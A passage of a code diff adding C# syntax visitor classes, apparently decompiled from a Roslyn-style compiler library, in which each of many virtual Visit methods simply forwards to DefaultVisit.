VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitUndefDirectiveTrivia(UndefDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLineDirectiveTrivia(LineDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLineDirectivePosition(LineDirectivePositionSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLineSpanDirectiveTrivia(LineSpanDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPragmaWarningDirectiveTrivia(PragmaWarningDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitPragmaChecksumDirectiveTrivia(PragmaChecksumDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitReferenceDirectiveTrivia(ReferenceDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitLoadDirectiveTrivia(LoadDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitShebangDirectiveTrivia(ShebangDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } + + public virtual TResult? VisitNullableDirectiveTrivia(NullableDirectiveTriviaSyntax node) + { + return DefaultVisit((SyntaxNode)(object)node); + } +} +public abstract class CSharpSyntaxVisitor +{ + public virtual void Visit(SyntaxNode? node) + { + if (node != null) + { + ((CSharpSyntaxNode)(object)node).Accept(this); + } + } + + public virtual void DefaultVisit(SyntaxNode node) + { + } + + public virtual void VisitIdentifierName(IdentifierNameSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitQualifiedName(QualifiedNameSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitGenericName(GenericNameSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeArgumentList(TypeArgumentListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAliasQualifiedName(AliasQualifiedNameSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPredefinedType(PredefinedTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArrayType(ArrayTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArrayRankSpecifier(ArrayRankSpecifierSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPointerType(PointerTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerType(FunctionPointerTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerParameterList(FunctionPointerParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerCallingConvention(FunctionPointerCallingConventionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerUnmanagedCallingConvention(FunctionPointerUnmanagedCallingConventionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNullableType(NullableTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTupleType(TupleTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTupleElement(TupleElementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOmittedTypeArgument(OmittedTypeArgumentSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRefType(RefTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitScopedType(ScopedTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParenthesizedExpression(ParenthesizedExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTupleExpression(TupleExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPrefixUnaryExpression(PrefixUnaryExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAwaitExpression(AwaitExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPostfixUnaryExpression(PostfixUnaryExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitMemberAccessExpression(MemberAccessExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConditionalAccessExpression(ConditionalAccessExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitMemberBindingExpression(MemberBindingExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitElementBindingExpression(ElementBindingExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRangeExpression(RangeExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitImplicitElementAccess(ImplicitElementAccessSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBinaryExpression(BinaryExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAssignmentExpression(AssignmentExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConditionalExpression(ConditionalExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitThisExpression(ThisExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBaseExpression(BaseExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLiteralExpression(LiteralExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitMakeRefExpression(MakeRefExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRefTypeExpression(RefTypeExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRefValueExpression(RefValueExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCheckedExpression(CheckedExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDefaultExpression(DefaultExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeOfExpression(TypeOfExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSizeOfExpression(SizeOfExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInvocationExpression(InvocationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitElementAccessExpression(ElementAccessExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArgumentList(ArgumentListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBracketedArgumentList(BracketedArgumentListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArgument(ArgumentSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitExpressionColon(ExpressionColonSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNameColon(NameColonSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDeclarationExpression(DeclarationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCastExpression(CastExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAnonymousMethodExpression(AnonymousMethodExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSimpleLambdaExpression(SimpleLambdaExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRefExpression(RefExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParenthesizedLambdaExpression(ParenthesizedLambdaExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInitializerExpression(InitializerExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitImplicitObjectCreationExpression(ImplicitObjectCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitObjectCreationExpression(ObjectCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitWithExpression(WithExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAnonymousObjectMemberDeclarator(AnonymousObjectMemberDeclaratorSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAnonymousObjectCreationExpression(AnonymousObjectCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArrayCreationExpression(ArrayCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitImplicitArrayCreationExpression(ImplicitArrayCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitStackAllocArrayCreationExpression(StackAllocArrayCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitImplicitStackAllocArrayCreationExpression(ImplicitStackAllocArrayCreationExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCollectionExpression(CollectionExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitExpressionElement(ExpressionElementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSpreadElement(SpreadElementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitQueryExpression(QueryExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitQueryBody(QueryBodySyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFromClause(FromClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLetClause(LetClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitJoinClause(JoinClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitJoinIntoClause(JoinIntoClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitWhereClause(WhereClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOrderByClause(OrderByClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOrdering(OrderingSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSelectClause(SelectClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitGroupClause(GroupClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitQueryContinuation(QueryContinuationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOmittedArraySizeExpression(OmittedArraySizeExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIsPatternExpression(IsPatternExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitThrowExpression(ThrowExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitWhenClause(WhenClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDiscardPattern(DiscardPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDeclarationPattern(DeclarationPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitVarPattern(VarPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRecursivePattern(RecursivePatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPositionalPatternClause(PositionalPatternClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPropertyPatternClause(PropertyPatternClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSubpattern(SubpatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConstantPattern(ConstantPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParenthesizedPattern(ParenthesizedPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRelationalPattern(RelationalPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypePattern(TypePatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBinaryPattern(BinaryPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitUnaryPattern(UnaryPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitListPattern(ListPatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSlicePattern(SlicePatternSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterpolatedStringText(InterpolatedStringTextSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterpolation(InterpolationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterpolationAlignmentClause(InterpolationAlignmentClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterpolationFormatClause(InterpolationFormatClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitGlobalStatement(GlobalStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBlock(BlockSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLocalFunctionStatement(LocalFunctionStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLocalDeclarationStatement(LocalDeclarationStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitVariableDeclaration(VariableDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitVariableDeclarator(VariableDeclaratorSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEqualsValueClause(EqualsValueClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSingleVariableDesignation(SingleVariableDesignationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDiscardDesignation(DiscardDesignationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParenthesizedVariableDesignation(ParenthesizedVariableDesignationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitExpressionStatement(ExpressionStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEmptyStatement(EmptyStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLabeledStatement(LabeledStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitGotoStatement(GotoStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBreakStatement(BreakStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitContinueStatement(ContinueStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitReturnStatement(ReturnStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitThrowStatement(ThrowStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitYieldStatement(YieldStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitWhileStatement(WhileStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDoStatement(DoStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitForStatement(ForStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitForEachStatement(ForEachStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitForEachVariableStatement(ForEachVariableStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitUsingStatement(UsingStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFixedStatement(FixedStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCheckedStatement(CheckedStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitUnsafeStatement(UnsafeStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitLockStatement(LockStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIfStatement(IfStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitElseClause(ElseClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSwitchStatement(SwitchStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSwitchSection(SwitchSectionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCasePatternSwitchLabel(CasePatternSwitchLabelSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCaseSwitchLabel(CaseSwitchLabelSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDefaultSwitchLabel(DefaultSwitchLabelSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSwitchExpression(SwitchExpressionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSwitchExpressionArm(SwitchExpressionArmSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTryStatement(TryStatementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCatchClause(CatchClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCatchDeclaration(CatchDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCatchFilterClause(CatchFilterClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFinallyClause(FinallyClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCompilationUnit(CompilationUnitSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitExternAliasDirective(ExternAliasDirectiveSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitUsingDirective(UsingDirectiveSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNamespaceDeclaration(NamespaceDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFileScopedNamespaceDeclaration(FileScopedNamespaceDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAttributeList(AttributeListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAttributeTargetSpecifier(AttributeTargetSpecifierSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAttribute(AttributeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAttributeArgumentList(AttributeArgumentListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAttributeArgument(AttributeArgumentSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNameEquals(NameEqualsSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeParameterList(TypeParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeParameter(TypeParameterSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitClassDeclaration(ClassDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitStructDeclaration(StructDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitInterfaceDeclaration(InterfaceDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRecordDeclaration(RecordDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEnumDeclaration(EnumDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDelegateDeclaration(DelegateDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEnumMemberDeclaration(EnumMemberDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBaseList(BaseListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSimpleBaseType(SimpleBaseTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPrimaryConstructorBaseType(PrimaryConstructorBaseTypeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeParameterConstraintClause(TypeParameterConstraintClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConstructorConstraint(ConstructorConstraintSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitClassOrStructConstraint(ClassOrStructConstraintSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeConstraint(TypeConstraintSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDefaultConstraint(DefaultConstraintSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFieldDeclaration(FieldDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEventFieldDeclaration(EventFieldDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitMethodDeclaration(MethodDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOperatorDeclaration(OperatorDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConversionOperatorDeclaration(ConversionOperatorDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConstructorDeclaration(ConstructorDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConstructorInitializer(ConstructorInitializerSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDestructorDeclaration(DestructorDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitPropertyDeclaration(PropertyDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitArrowExpressionClause(ArrowExpressionClauseSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEventDeclaration(EventDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIndexerDeclaration(IndexerDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAccessorList(AccessorListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitAccessorDeclaration(AccessorDeclarationSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParameterList(ParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBracketedParameterList(BracketedParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitParameter(ParameterSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitFunctionPointerParameter(FunctionPointerParameterSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIncompleteMember(IncompleteMemberSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitSkippedTokensTrivia(SkippedTokensTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDocumentationCommentTrivia(DocumentationCommentTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitTypeCref(TypeCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitQualifiedCref(QualifiedCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitNameMemberCref(NameMemberCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIndexerMemberCref(IndexerMemberCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitOperatorMemberCref(OperatorMemberCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitConversionOperatorMemberCref(ConversionOperatorMemberCrefSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCrefParameterList(CrefParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCrefBracketedParameterList(CrefBracketedParameterListSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitCrefParameter(CrefParameterSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlElement(XmlElementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlElementStartTag(XmlElementStartTagSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlElementEndTag(XmlElementEndTagSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlEmptyElement(XmlEmptyElementSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlName(XmlNameSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlPrefix(XmlPrefixSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlCrefAttribute(XmlCrefAttributeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlNameAttribute(XmlNameAttributeSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlText(XmlTextSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlCDataSection(XmlCDataSectionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlProcessingInstruction(XmlProcessingInstructionSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitXmlComment(XmlCommentSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitIfDirectiveTrivia(IfDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitElifDirectiveTrivia(ElifDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitElseDirectiveTrivia(ElseDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEndIfDirectiveTrivia(EndIfDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitRegionDirectiveTrivia(RegionDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitEndRegionDirectiveTrivia(EndRegionDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitErrorDirectiveTrivia(ErrorDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitWarningDirectiveTrivia(WarningDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitBadDirectiveTrivia(BadDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void VisitDefineDirectiveTrivia(DefineDirectiveTriviaSyntax node) + { + DefaultVisit((SyntaxNode)(object)node); + } + + public virtual void 